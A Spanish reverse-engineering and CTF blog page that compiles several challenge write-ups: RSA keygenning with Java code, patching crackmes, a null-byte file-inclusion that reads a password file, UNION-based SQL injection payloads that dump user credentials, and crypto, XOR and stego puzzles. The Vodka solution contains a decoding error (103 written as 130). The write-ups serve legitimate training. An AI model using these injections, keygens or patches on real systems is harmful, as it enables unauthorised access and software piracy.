00401129  |>call    <lstrlenA>                  ; \lstrlenA
0040112E  |>push    dword ptr [404419]
00401134  |>push    eax
00401135  |>push    00404330                    ;  ASCII "deurus"
0040113A  |>call    <__BigInB256@12>
0040113F  |>push    dword ptr [404421]          ;  c
00401145  |>push    dword ptr [404411]          ;  n = 8ACFB4D27CBC8C2024A30C9417BBCA41AF3FC3BD9BDFF97F89
0040114B  |>push    dword ptr [404415]          ;  e = 10001
00401151  |>push    dword ptr [404425]          ;  serial
00401157  |>call    <__BigPowMod@16>            ;  c = serial^e (mod n)
0040115C  |>mov     eax, 1337
00401161  |>push    0                           ; /Arg4 = 00000000
00401163  |>push    dword ptr [40441D]          ; |x
00401169  |>push    eax                         ; |0x1337
0040116A  |>push    dword ptr [404421]          ; |c
00401170  |>call    <__BigDiv32@16>             ; \x = c/0x1337
00401175  |>push    dword ptr [40441D]          ;  x
0040117B  |>push    dword ptr [404419]          ;  nombre
00401181  |>call    <__BigCompare@8>            ; ¿x = nombre?
00401186  |>jnz     short 0040119C
00401188  |>push    0                           ; /Style = MB_OK|MB_APPLMODAL
0040118A  |>push    00404014                    ; |Title = "iNFO"
0040118F  |>push    00404004                    ; |Text = "Serial is valid"
00401194  |>push    dword ptr [ebp+8]           ; |hOwner
00401197  |>call    <MessageBoxA>               ; \MessageBoxA
0040119C  |>xor     ecx, ecx
0040119E  |>/push    dword ptr [ecx*4+404411]
004011A5  |>|call    <__BigDestroy@4>
004011AA  |>|inc     ecx
004011AB  |>|cmp     ecx, 6
004011AE  |>\jnz     short 0040119E

 Lo primero que observamos es que el código nos proporciona el exponente público (e) y el módulo (n).

  • e = 10001
  • n = 8ACFB4D27CBC8C2024A30C9417BBCA41AF3FC3BD9BDFF97F89

A continuación halla c = serial^d mod n. Finalmente Divide c entre 0x1337 y lo compara con el nombre.

Como hemos visto en la teoría de RSA, necesitamos hallar el exponente privado (d) para poder desencriptar, según la fórmula vista anteriormente.

  • Fórmula original: m=c^d mod n
  • Nuestra fórmula: Serial = x^d mod n. Siendo x = c * 0x1337

Calculando un serial válido

Existen varios ataques a RSA, nosotros vamos a usar el de factorización. Para ello vamos a usar la herramienta RSA Tool. Copiamos el módulo (n), el exponente público (e) y factorizamos (Factor N).

rsatool1

Hallados los primos p y q, hallamos d (Calc. D).

rsatool4

Una vez obtenido d solo nos queda obtener x, que recordemos es nombre * 0x1337.

Cuando decimos nombre nos referimos a los bytes del nombre en hexadecimal, para deurus serían 646575727573.

Ejemplo operacional

Nombre: deurus

x = 646575727573 * 0x1337 = 7891983BA4EC4B5
Serial = x^d mod n
Serial = 7891983BA4EC4B5^32593252229255151794D86C1A09C7AFCC2CCE42D440F55A2D mod 8ACFB4D27CBC8C2024A30C9417BBCA41AF3FC3BD9BDFF97F89
Serial = FD505CADDCC836FE32E34F5F202E34D11F385DEAD43D87FCD

Como la calculadora de Windows se queda un poco corta para trabajar con números tan grandes, vamos a usar la herramienta Big Integer Calculator. A continuación os dejo unas imágenes del proceso.

bigint_1

bigint_2

crackme_dihux_solved

Keygen

En esta ocasión hemos elegido Java ya que permite trabajar con números grandes de forma sencilla, os dejo el código más importante.

dihux_keygenme1_keygen

JButton btnNewButton = new JButton("Generar");
btnNewButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
BigInteger serial = new BigInteger("0");
BigInteger n = new BigInteger("871332984042175151665553882265818310920539633758381377421193");//módulo
BigInteger d = new BigInteger("316042180198461106401603389463895139535543421270452849695277");//exponente privado
BigInteger x = new BigInteger("4919");//0x1337
String nombre = t1.getText();
BigInteger nombre2 = new BigInteger(nombre.getBytes());
nombre2 = nombre2.multiply(x);
serial = nombre2.modPow(d, n);
t2.setText(serial.toString(16).toUpperCase());
}
});

Links


Hemos interceptado un mensaje secreto, pero ninguno de nuestros traductores lo sabe interpretar, ¿sabrías interpretarlo tú? Lo único que hemos
Intro Hoy vamos a hacer algo diferente, vamos a hacer un keygen con la propia víctima. El término anglosajón para
Continuamos con los BTM awards. Esta vez analizaremos brevemente una escena de la película del casi siempre excelente James Cameron,
En esta ocasión vamos a hablar de una película de culto de los años 90, Hackers - Piratas Informáticos. La

Crypto – Vodka

Hemos interceptado un mensaje secreto, pero ninguno de nuestros traductores lo sabe interpretar, ¿sabrías interpretarlo tú? Lo único que hemos encontrado es esto en un foro: шжзклмнпфъ = 1234567890

Mensaje secreto: нж, фн, фф, шън, нф, шшъ, шжз, мф, шъп, фл, пк, шъш, шшм, шшк, шъл, шшл, фл, шъш, шшл, фл, шшн, шшъ, фл, шъм, шшн, шъш, шъз, шшш, фл, пж, шшн, шшл, шшш, шжл

Solución

Parece que el mensaje secreto está encriptado utilizando un alfabeto cifrado que corresponde a números. Según la clave proporcionada (шжзклмнпфъ = 1234567890), cada letra del alfabeto cirílico se sustituye por un número.

Primero, descompondremos la clave dada:
ш = 1
ж = 2
з = 3
к = 4
л = 5
м = 6
н = 7
п = 8
ф = 9
ъ = 0

Ahora, aplicamos esta clave al mensaje secreto:

нж, фн, фф, шън, нф, шшъ, шжз, мф, шъп, фл, пк, шъш, шшм, шшк, шъл, шшл, фл, шъш, шшл, фл, шшн, шшъ, фл, шъм, шшн, шъш, шъз, шшш, фл, пж, шшн, шшл, шшш, шжл

Sustituyendo cada letra según la clave:

нж = 72
фн = 97
фф = 99
шън = 107
нф = 79
шшъ = 110
шжз = 123
мф = 69
шъп = 108
фл = 95
пк = 84
шъш = 101
шшм = 116
шшк = 114
шъл = 105
шшл = 115
фл = 95
шъш = 101
шшл = 115
фл = 95
шшн = 117
шшъ = 110
фл = 95
шъм = 106
шшн = 117
шъш = 101
шъз = 130
шшш = 111
фл = 95
пж = 82
шшн = 117
шшл = 115
шшш = 111
шжл = 125

El mensaje traducido a números es:

72, 97, 99, 107, 79, 110, 123, 69, 108, 95, 84, 101, 116, 114, 105, 115, 95, 101, 115, 95, 117, 110, 95, 106, 117, 101, 130, 111, 95, 82, 117, 115, 111, 125

Este parece ser un mensaje cifrado en números. La secuencia de números se puede interpretar de varias maneras (como ASCII, coordenadas, etc.). Si asumimos que es un texto codificado en ASCII:

Convertimos cada número a su correspondiente carácter ASCII:

72 = H
97 = a
99 = c
107 = k
79 = O
110 = n
123 = {
69 = E
108 = l
95 = _
84 = T
101 = e
116 = t
114 = r
105 = i
115 = s
95 = _
101 = e
115 = s
95 = _
117 = u
110 = n
95 = _
106 = j
117 = u
101 = e
130 = ?
111 = o
95 = _
82 = R
117 = u
115 = s
111 = o
125 = }

Juntando todo:

HackOn{El_Tetris_e_s_u_n_j_u_e?o_Ruso}

La parte «{El_Tetris_e_s_u_n_j_u_e?o_Ruso}» parece un mensaje en español. Probablemente deba ser leído como: HackOn{El_Tetris_es_un_juego_Ruso}

Así, el mensaje secreto es: HackOn{El_Tetris_es_un_juego_Ruso}.


LaFarge’s Crackme 2 – Keygen por Injerto

Intro

Hoy vamos a hacer algo diferente, vamos a hacer un keygen con la propia víctima. El término anglosajón para esto es «selfkeygening» y no es que esté muy bien visto por los reversers pero a veces nos puede sacar de apuros.

La víctima elegida es el Crackme 2 de LaFarge. Está hecho en ensamblador.

Injerto Light

Primeramente vamos a realizar un injerto light, con esto quiero decir que vamos a mostrar el serial bueno en la MessageBox de error.

Abrimos Olly y localizamos el código de comprobación del serial, tenemos suerte ya que el serial se muestra completamente y no se comprueba byte a byte ni cosas raras. En la imagen inferior os muestro el serial bueno para el nombre deurus y el mensaje de error. Como podeis observar el serial bueno se saca de memoria con la instrucción PUSH 406749 y el mensaje de error con PUSH 406306.

parche01

Si cambiamos el PUSH del serial por el de el mensaje de error ya lo tendriámos. Nos situamos encima del PUSH 406306 y pulsamos espacio, nos saldrá un diálogo con el push, lo modificamos y le damos a Assemble.

10-09-2014 20-37-18

Ahora el crackme cada vez que le demos a Check it! nos mostrará:

nagserial

Keygen a partir de la víctima

Pero no nos vamos a quedar ahí. Lo interesante sería que el serial bueno lo mostrara en la caja de texto del serial. Esto lo vamos a hacer con la función user32.SetDlgItemTextA.

setdlgitemtext

Según dice la función necesitamos el handle de la ventana, el ID de la caja de texto y el string a mostrar. La primera y segunda la obtenemos fijándonos en la función GetDlgItemTextA que recoje el serial introducido por nosotros. La string es el PUSH 406749.

handleandid

Con esto ya tenemos todo lo que necesitamos excepto el espacio dentro del código, en este caso lo lógico es parchear las MessageBox de error y acierto. Las seleccionamos, click derecho y Edit > Fill with NOPs.

10-09-2014 20-39-24

nopeamos

Ahora escribimos el injerto.

injertokeygen

Finalmente con Resource Hack cambiamos el aspecto del programa para que quede más profesional y listo. Tenemos pendiente hacer el keygen puro y duro, venga agur.

10-09-2014 21-04-52

Links


Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
Introducción Objetivo del juego y normas Código inicial Primeras modificaciones Terminando la faena Código ganador Curiosidades Enlaces Introducción Hace tiempo
Introducción La película "Contact", estrenada en 1997 y dirigida por Robert Zemeckis, es una adaptación de la novela homónima de

ThisIsLegal.com – Realistic Challenge 5

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

Realistic Challenge 5: There is a new company out called NullCo. Have a look around the site and see what you can do.
Hay una nueva compañia llamada NullCo. Echa un vistazo a la web haber que puedes hacer.

Analizando a la víctima

Echamos un vistazo a la web y lo único interesante que vemos es un buscador.

Miramos el código fuente y vemos una ruta interesante.

  Si exploramos la ruta «http://www.thisislegal.com/nc/adm/» nos aparece un login. Metemos cualquier cosa y el mensaje de error da demasiada información.

Ahora fijémonos en el menú productos. Pinchamos sobre cualquier producto y a continuación en la imagen para ampliarla, veremos el siguiente enlace.

http://www.thisislegal.com/nc/i.php?img=images/serve

 Explotando la víctima

Vamos a ver si podemos explotar «i.php«. Probamos a obtener información sensible del servidor.

Probamos «http://www.thisislegal.com/nc/i.php?img=adm/login.pwd» y nos da error, seguramente por que está anexionando la extensión de la imagen, es decir, el script está interpretando esto:

http://www.thisislegal.com/nc/i.php?img=adm/login.pwd.png

Vamos a anularlo con un caracter nulo. Probamos y ahora si.

El password está en base64. Lo decodificamos online, nos logueamos y reto superado.

Links

CanYouHack.it Crack6 Challenge – Lights Out (English)

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Intro

This crackme is for the crack challenge 6 of canyouhack.it.

In this crackme the goal is to turn on all the lights. Note that a light off to the next, so if we interrupt this, we win.

Tools

Exeinfo (For crackme info)

Delphi Decompiler (For decompile)

 OllyDbg (For debug)

Decompiling

With Delphi Decompiler we can found easy the buttons and his offsets.
Go to the offset 401A64 in OllyDbg and analyze the code.
We view two jumps, one turn ON the light and the other Turn OFF the next light. Patching the call from offset 401A8B we get the serial.

Links


Los retos criptográficos son muy variados y muchas veces la dificultad está en saber a que te enfrentas. En este
Introducción Tal y como nos adelanta el creador está programado en .NET. Lo abrimos para ver su comportamiento y a
Intro Hace poco me reencontré con esta entrañable serie que tanto me entretuvo cuando era pequeño y para mi sorpresa,
El reto Se nos proporciona la imagen anterior y se nos invita a resolver la ecuación para el menor entero

Canyouhack.it – Cryptography Challenge 13

Los retos criptográficos son muy variados y muchas veces la dificultad está en saber a que te enfrentas. En este caso pasa eso, te dan un código y si no has visto algo parecido en la vida, no sabes por donde empezar. El título del autor da una pequeña pista pero para los desconocedores no es suficiente. La pista es el título y dice «WTF?!?» y el código a descifrar es el siguiente:

[-]>[-]<
>+++++++++++[<+++++++++++>-]<.
>+++[<--->-]<-.
>++[<++>-]<++.
+.
>++++[<---->-]<-.
---.
+++.
.
>+++[<+++>-]<.
>+++[<--->-]<+.
>++++[<++++>-]<-.
>++++[<---->-]<--.
>+++[<+++>-]<-.
>++[<-->-]<--.
-.

Si eres una persona con recursos, realizaras varias búsquedas por la red y al final llegarás a la conclusión de que te enfrentas a BRAINFUCK, un lenguaje de programación esotérico como ya vimos en el reto de Root-Me.

Enlaces

WinFan’s NETCrackMe#1 Keygen

Introducción

Tal y como nos adelanta el creador está programado en .NET. Lo abrimos para ver su comportamiento y a simple vista ya vemos algo que no nos gusta y es que se abre una ventana de DOS y posteriormente aparece el crackme. Esto indica que el ejecutable está escondido dentro de otro, empaquetado, encriptado o vete a saber.

Desempaquetado

Nuestras sospechas eran ciertas, abrimos el executable con ILSpy y no encontramos lo que buscamos, pero si vemos que al assembly se le hace algo parecido a un XOR. Probemos con algo sencillo, abrimos el crackme y la herramienta .Net Generic Unpacker y probamos a desempaquetar.
27-08-2014-2B12-33-33
Esto nos genera un par de «exes» que ahora si abre correctamente nuestro decompilador.

Decompilado

Vamos a fijarnos en la rutina de comprobación del serial. Lo interesante se encuentra en btnCheckClick y TLicense.
Código fuente.
Como vemos en el código, License.a.a, License.a.b y License.a.c cogen 8 dígitos y License.a.d coge 10. A continuación comprueba que Licenseb.a = License.a.a XOR License.a.b y que Licenseb.b = License.a.c XOR License.a.d.
Una imagen vale más que mil palabras.
En su día hice un keygen, aquí teneis una captura.
Podeis encontrar el crackme, mi solución y otras soluciones en crackmes.de.

Links


Introducción Continuamos con la segunda entrega de Cruehead. En este caso nos encontramos con un único campo de contraseña para
MI_cartel
Intro La primera entrega de Misión Imposible es ya un clásico y poco o nada tiene que envidiar a sus
Introducción La película "Contact", estrenada en 1997 y dirigida por Robert Zemeckis, es una adaptación de la novela homónima de
Introducción  Hoy vamos a ver como extraer el script de un ejecutable compilado por Autoit, modificarlo y recompilarlo como nuestro

ThisIsLegal.com – SQL Challenge 2

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

 Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1

Seguido tenemos la pregunta de seguridad.

Introducimos cualquier cosa y nos muestra el siguiente error.

El error nombra la tabla «security«, luego la usaremos.

Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.

Inyección SQL Avanzada

Para inyectar a continuación meter cualquier nombre y la inyección en el password.

  • Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
  • Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
  • Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
  •  Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
  • Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password

Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.

  • Obtener ID, name, password para los usuarios con ID = 1,2,3,4
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
  •  Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users

 Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.

Links

Migas de pan

Se nos entrega el siguiente ELF:

/* This file was generated by the Hex-Rays decompiler version 8.4.0.240320.
   Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>

   Detected compiler: GNU C++
*/

#include <defs.h>


//-------------------------------------------------------------------------
// Function declarations

__int64 (**init_proc())(void);
void sub_1020();
// int printf(const char *format, ...);
// int getchar(void);
// int fflush(FILE *stream);
// __int64 __isoc99_scanf(const char *, ...); weak
// void __noreturn exit(int status);
// int __fastcall _cxa_finalize(void *);
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void));
FILE **deregister_tm_clones();
__int64 register_tm_clones(); // weak
FILE **_do_global_dtors_aux();
__int64 __fastcall frame_dummy(_QWORD, _QWORD, _QWORD); // weak
int __fastcall main(int argc, const char **argv, const char **envp);
_BOOL8 __fastcall comprobacion(char a1, char a2, int a3);
void _libc_csu_fini(void); // idb
void term_proc();
// int __fastcall _libc_start_main(int (__fastcall *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end);
// int __fastcall __cxa_finalize(void *);
// __int64 _gmon_start__(void); weak

//-------------------------------------------------------------------------
// Data declarations

_UNKNOWN _libc_csu_init;
__int64 (__fastcall *_frame_dummy_init_array_entry)() = &frame_dummy; // weak
__int64 (__fastcall *_do_global_dtors_aux_fini_array_entry)() = &_do_global_dtors_aux; // weak
void *_dso_handle = &_dso_handle; // idb
char *a = "MdfnJk"; // weak
char *b = "jYx}"; // weak
char *c = "gWmfk"; // weak
char *d = "mlvpc"; // weak
char *f = "neU++w"; // weak
FILE *_bss_start; // idb
char completed_0; // weak


//----- (0000000000001000) ----------------------------------------------------
__int64 (**init_proc())(void)
{
  __int64 (**result)(void); // rax

  result = &_gmon_start__;
  if ( &_gmon_start__ )
    return (__int64 (**)(void))_gmon_start__();
  return result;
}
// 40D0: using guessed type __int64 _gmon_start__(void);

//----- (0000000000001020) ----------------------------------------------------
void sub_1020()
{
  JUMPOUT(0LL);
}
// 1026: control flows out of bounds to 0

//----- (0000000000001090) ----------------------------------------------------
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
  __int64 v3; // rax
  int v4; // esi
  __int64 v5; // [rsp-8h] [rbp-8h] BYREF
  char *retaddr; // [rsp+0h] [rbp+0h] BYREF

  v4 = v5;
  v5 = v3;
  _libc_start_main(
    (int (__fastcall *)(int, char **, char **))main,
    v4,
    &retaddr,
    (void (*)(void))_libc_csu_init,
    _libc_csu_fini,
    a3,
    &v5);
  __halt();
}
// 1096: positive sp value 8 has been found
// 109D: variable 'v3' is possibly undefined

//----- (00000000000010C0) ----------------------------------------------------
FILE **deregister_tm_clones()
{
  return &_bss_start;
}

//----- (00000000000010F0) ----------------------------------------------------
__int64 register_tm_clones()
{
  return 0LL;
}
// 10F0: using guessed type __int64 register_tm_clones();

//----- (0000000000001130) ----------------------------------------------------
FILE **_do_global_dtors_aux()
{
  FILE **result; // rax

  if ( !completed_0 )
  {
    if ( &__cxa_finalize )
      _cxa_finalize(_dso_handle);
    result = deregister_tm_clones();
    completed_0 = 1;
  }
  return result;
}
// 4080: using guessed type char completed_0;

//----- (0000000000001175) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+7h] [rbp-9h] BYREF
  int v5; // [rsp+8h] [rbp-8h]
  bool v6; // [rsp+Fh] [rbp-1h]

  v6 = 1;
  v5 = 0;
  while ( v6 )
  {
    fflush(_bss_start);
    printf("\nIntroduce la letra correcta:\t");
    __isoc99_scanf("%c", &v4);
    getchar();
    if ( v5 > 5 )
    {
      if ( v5 > 9 )
      {
        if ( v5 > 14 )
        {
          if ( v5 > 19 )
            v6 = comprobacion(v4, f[v5 - 20], 10);
          else
            v6 = comprobacion(v4, d[v5 - 15], 2);
        }
        else
        {
          v6 = comprobacion(v4, c[v5 - 10], 8);
        }
      }
      else
      {
        v6 = comprobacion(v4, b[v5 - 6], 17);
      }
    }
    else
    {
      v6 = comprobacion(v4, a[v5], 5);
    }
    if ( !v6 )
    {
      printf("Incorrecta");
      exit(1);
    }
    printf("\n%c\n", (unsigned int)v4);
    if ( v5 == 25 )
    {
      printf("Ya tienes la flag!!");
      exit(1);
    }
    ++v5;
  }
  return 0;
}
// 1060: using guessed type __int64 __isoc99_scanf(const char *, ...);
// 4050: using guessed type char *a;
// 4058: using guessed type char *b;
// 4060: using guessed type char *c;
// 4068: using guessed type char *d;
// 4070: using guessed type char *f;

//----- (0000000000001352) ----------------------------------------------------
_BOOL8 __fastcall comprobacion(char a1, char a2, int a3)
{
  return a1 == (a3 ^ a2);
}

//----- (0000000000001390) ----------------------------------------------------
void __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3)
{
  signed __int64 v4; // rbp
  __int64 i; // rbx

  init_proc();
  v4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;
  if ( v4 )
  {
    for ( i = 0LL; i != v4; ++i )
      ((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);
  }
}
// 1170: using guessed type __int64 __fastcall frame_dummy(_QWORD, _QWORD, _QWORD);
// 3DE8: using guessed type __int64 (__fastcall *_frame_dummy_init_array_entry)();
// 3DF0: using guessed type __int64 (__fastcall *_do_global_dtors_aux_fini_array_entry)();

//----- (00000000000013F4) ----------------------------------------------------
void term_proc()
{
  ;
}

Extracción de la Flag

Si nos fijamos en las líneas 41 a la 45 vemos las siguientes cadenas:

a = «MdfnJk»
b = «jYx}»
c = «gWmfk»
d = «mlvpc»
f = «neU++w»

Usaremos las cadenas y los valores XOR especificados para cada rango de v5 en el main (líneas 123 a 182) para determinar los caracteres correctos.

Para v5 de 0 a 5: v6 = comprobacion(v4, a[v5], 5);
Significa que: v4 debe ser igual a a[v5] ^ 5

Para v5 de 6 a 9: v6 = comprobacion(v4, b[v5 – 6], 17);
Significa que: v4 debe ser igual a b[v5 – 6] ^ 17

Para v5 de 10 a 14: v6 = comprobacion(v4, c[v5 – 10], 8);
Significa que: v4 debe ser igual a c[v5 – 10] ^ 8

Para v5 de 15 a 19: v6 = comprobacion(v4, d[v5 – 15], 2);
Significa que: v4 debe ser igual a d[v5 – 15] ^ 2

Para v5 de 20 a 25: v6 = comprobacion(v4, f[v5 – 20], 10);
Significa que: v4 debe ser igual a f[v5 – 20] ^ 10

Cálculo de los caracteres correctos:
Para v5 de 0 a 5:
a[0] = ‘M’, M ^ 5 = 0x4D ^ 0x05 = 0x48 -> ‘H’
a[1] = ‘d’, d ^ 5 = 0x64 ^ 0x05 = 0x61 -> ‘a’
a[2] = ‘f’, f ^ 5 = 0x66 ^ 0x05 = 0x63 -> ‘c’
a[3] = ‘n’, n ^ 5 = 0x6E ^ 0x05 = 0x6B -> ‘k’
a[4] = ‘J’, J ^ 5 = 0x4A ^ 0x05 = 0x4F -> ‘O’
a[5] = ‘k’, k ^ 5 = 0x6B ^ 0x05 = 0x6E -> ‘n’
Resulta en la cadena: HackOn

Para v5 de 6 a 9:
b[0] = ‘j’, j ^ 17 = 0x6A ^ 0x11 = 0x7B -> ‘{‘
b[1] = ‘Y’, Y ^ 17 = 0x59 ^ 0x11 = 0x48 -> ‘H’
b[2] = ‘x’, x ^ 17 = 0x78 ^ 0x11 = 0x69 -> ‘i’
b[3] = ‘}’, } ^ 17 = 0x7D ^ 0x11 = 0x6C -> ‘l’
Resulta en la cadena: {Hil

Para v5 de 10 a 14:
c[0] = ‘g’, g ^ 8 = 0x67 ^ 0x08 = 0x6F -> ‘o’
c[1] = ‘W’, W ^ 8 = 0x57 ^ 0x08 = 0x5F -> ‘_’
c[2] = ‘m’, m ^ 8 = 0x6D ^ 0x08 = 0x65 -> ‘e’
c[3] = ‘f’, f ^ 8 = 0x66 ^ 0x08 = 0x6E -> ‘n’
c[4] = ‘k’, k ^ 8 = 0x6B ^ 0x08 = 0x63 -> ‘c’
Resulta en la cadena: o_enc

Para v5 de 15 a 19:
d[0] = ‘m’, m ^ 2 = 0x6D ^ 0x02 = 0x6F -> ‘o’
d[1] = ‘l’, l ^ 2 = 0x6C ^ 0x02 = 0x6E -> ‘n’
d[2] = ‘v’, v ^ 2 = 0x76 ^ 0x02 = 0x74 -> ‘t’
d[3] = ‘p’, p ^ 2 = 0x70 ^ 0x02 = 0x72 -> ‘r’
d[4] = ‘c’, c ^ 2 = 0x63 ^ 0x02 = 0x61 -> ‘a’
Resulta en la cadena: ontra

Para v5 de 20 a 25:
f[0] = ‘n’, n ^ 10 = 0x6E ^ 0x0A = 0x64 -> ‘d’
f[1] = ‘e’, e ^ 10 = 0x65 ^ 0x0A = 0x6F -> ‘o’
f[2] = ‘U’, U ^ 10 = 0x55 ^ 0x0A = 0x5F -> ‘_
f[3] = ‘+’, + ^ 10 = 0x2B ^ 0x0A = 0x21 -> ‘!’
f[4] = ‘+’, + ^ 10 = 0x2B ^ 0x0A = 0x21 -> ‘!’
f[5] = ‘w’, w ^ 10 = 0x77 ^ 0x0A = 0x7D -> ‘}’
Resulta en la cadena: do_!!}

Uniendo todas las partes, obtenemos la flag completa: HackOn{Hilo_enc_ontrado_!!}

Karpoff’s CrackME1 Keygen

Introducción

El otro día navegando por la red fuí a dar a un mirror de la gran web «Karpoff Spanish Tutor«. Para los que no la conozcais, debeis saber que fué una referencia para el Cracking en la escena nacional. Contenía manuales, cursos, utilidades y todo lo que te pudieras imaginar y/o necesitar para iniciarte en el mundillo del Cracking. Por aquel entonces yo era un cigoto en esto de la Ingeniería Inversa pero la web de Karpoff sentó mis bases y contribuyó a mi afán por saber y compartir. El lector debería saber que estamos hablando de finales de los 90, por lo que este crackme y sucesivos de la web de Karpoff ahora pueden parecer más fáciles pero hay que tener en cuenta que ahora tenemos mejores herramientas.

El objetivo es sacar un serial valido o hacer un generador de llaves, esta hecho para newbies y no tiene ninguna otra proteccion.

El crackme está hecho en Delphi y no tiene ningún tipo de protección antidebug ni nada por el estilo.

El algoritmo

Abrimos  Delphi Decompiler y buscamos en los eventos el botón de registro, en este caso se llama «focusClick» y vemos que su RVA apunta a la dirección «442AEC«, lo apuntamos y abrimos el crackme con Ollydbg.

03-09-2014 16-54-45

En Olly pulsamos Ctrl+G e introducimos el offset anterior. Un poco más abajo vemos un Call interesante, entramos en el.

03-09-2014 17-34-01

Dentro del Call vemos a simple vista dos funciones muy interesantes como son «GetVolumeInformationA» y «GetUserNameA«.

03-09-2014 17-37-08

Traceamos el código y vemos que obtiene el número de serie del disco C y el usuario de windows y finalmente los concatena. Se puede ver a simple vista en el Stack o Pila.

03-09-2014 17-33-22

No necesitamos saber nada más, probamos el número de serie cazado y funciona. Os adjunto el keygen hecho en C++.

03-09-2014 17-34-51

Links


Cambio de extensión Imagen oculta Descifrando el mensaje Enlaces Cambio de extensión (paso opcional) Al descargar la imagen de la
Hace unos años cuando empecé a trastear con Android y animado por mi afición a la Ingeniería Inversa, decidí realizar
Estamos ante un ELF un poco más interesante que los vistos anteriormente. Básicamente porque es divertido y fácil encontrar la
Intro Hoy tenemos aquí un crackme del año 2000 empacado y con un algoritmo aunque no muy complicado largo de

Reto Stego 1 de Hacker Games

Cambio de extensión (paso opcional)

Al descargar la imagen de la web del reto vemos que tiene la extensión php y lo más probable es que no nos abra correctamente.

...
<br/>
<img src="steg1img.php"/>
<br/>
...

Abrimos la imagen con nuestro editor hexadecimal favorito y nos fijamos en la cabecera.

00000000h: 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 ; ‰PNG........IHDR

Renombramos entonces la extensión a png y continuamos.

Imagen oculta

Esta parte la afrontaremos con Steganabara, una herramienta muy útil que siempre uso cuando me enfrento a un reto «stego». En esta ocasión utilizaremos el análisis de color. Para ello pulsamos sobre «Analyse > Color table«.

02-12-2015 10-17-24

En la tabla de colores tenemos la descomposición de colores RGBA y su frecuencia de aparición. Ordenamos por frecuencia descendiente y hacemos doble clic sobre la fila para abrir la imagen resultante.

02-12-2015 10-21-16

A continuación un resumen de las imágenes obtenidas.

colortable

Como podéis observar, la imagen oculta es un código QR. Lo escaneamos con nuestra app preferida y obtenemos un texto encriptado.

dtsfwqutisvqtesymkuvabbujwhfecuvlshwopcyeghguywjvlaibflcacyahckyqvypjntfhihgtvyxeqakjwouldltuiuhbhjumgkxuugqahvwhotduqtahcknheypjetxpvlhxtlrpjagyjzcgijgfjmcupsslkzpuxegaillytlfbygeptzjtuzlvlwkzdznxqwpabbe

Descifrando el mensaje

A partir de aquí el reto pasa a ser de encriptación. Con el tiempo diferenciareis fácilmente el tipo de cifrado con sólo ver el texto. En este caso lo primero que se nos ocurre es comprobar dos cifrados clásicos como son el cifrado César y el Vigenere.

